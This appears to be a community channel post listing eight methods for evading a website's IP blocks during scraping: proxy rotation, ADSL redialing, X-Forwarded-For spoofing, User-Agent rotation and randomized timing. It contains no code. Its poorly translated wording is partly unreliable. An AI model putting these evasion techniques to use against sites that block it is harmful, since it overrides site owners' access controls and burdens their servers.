UNDERCODE COMMUNITY

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑methods to solve blocked IP (website)

1️⃣Method 1.

Due to the company's project needs, we have collected Google map data and some large-scale website data.
The experience is as follows:

1. IP must be required, as @alswl said is very correct, ADSL. If you have the conditions, you can actually apply for extra IP from the computer room.

2. Deploy a proxy server on the machine with an external network IP.

3. Your program uses rotation training to replace the proxy server to access the website you want to collect.

Benefits:

1. The program logic changes little, only the agent function is needed.

2. According to the blocking rules of the other party's website, you only need to add more agents.

3. Even if the specific IP is blocked, you can directly log off the proxy server and it will be OK, and the program logic does not need to be changed.

2️⃣Method 2.
Some websites have weak preventive measures. You can disguise the IP and modify the X-Forwarded-for (it looks like this spelling...) to bypass it.
For most websites, if you want to crawl frequently, you still need more IPs. The solution I prefer is that foreign VPSs are equipped with multiple IPs, and IP switching is realized through default gateway switching, which is much more efficient than HTTP proxy, and is estimated to be more efficient than ADSL switching in most cases.

3️⃣Method 3.
ADSL + script, monitor whether it is blocked, and then constantly switch ip
settings to query frequency limits. The
orthodox approach is to call the service interface provided by the website.

4️⃣Method 4. People
with more than 8 years of crawling experience tell you that domestic ADSL is the kingly way. Apply for more lines and distribute them in different telecommunications districts. It is better to be able to cross provinces and cities. Write your own disconnection redial components. Write your own dynamic IP tracking service, remote hardware reset (mainly for ADSL modems to prevent its downtime), other task allocation, data recovery, are not a big problem. Mine has been running stably for several years, and it's done!

5️⃣Method 5.
1 User agent disguise and rotation
2 Use proxy ip and rotation
3 Cookies processing, some websites have a looser policy on login users.
Friendly reminder: Consider the burden of crawlers on other websites, be a responsible crawler :)

6️⃣Method 6.
As much as possible The simulated user behavior:
1. The UserAgent is changed frequently;
2. The visit time interval is set longer, and the visit time is set to a random number;
3. The order of visiting pages can also be random.

7️⃣Method 7
The basis for website blocking is generally unit The number of visits to a specific IP within a period of time.
I group the collected tasks according to the IP of the target site by controlling the number of tasks sent by each IP in a unit time to avoid being blocked. Of course, the premise is that you collect a lot Website. If you only collect one website, it can only be achieved through multiple external IPs.

6️⃣Method 8
1. Pressure control on crawler crawling;
2. You can consider using a proxy to access the target site.
-Reduce the frequency of crawling, set a longer time, and use random numbers for access time
-Switch UserAgent frequently (simulate browser access)-Multi
-page data, random access and then grab data
-Change user IP

@undercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

288 views20:47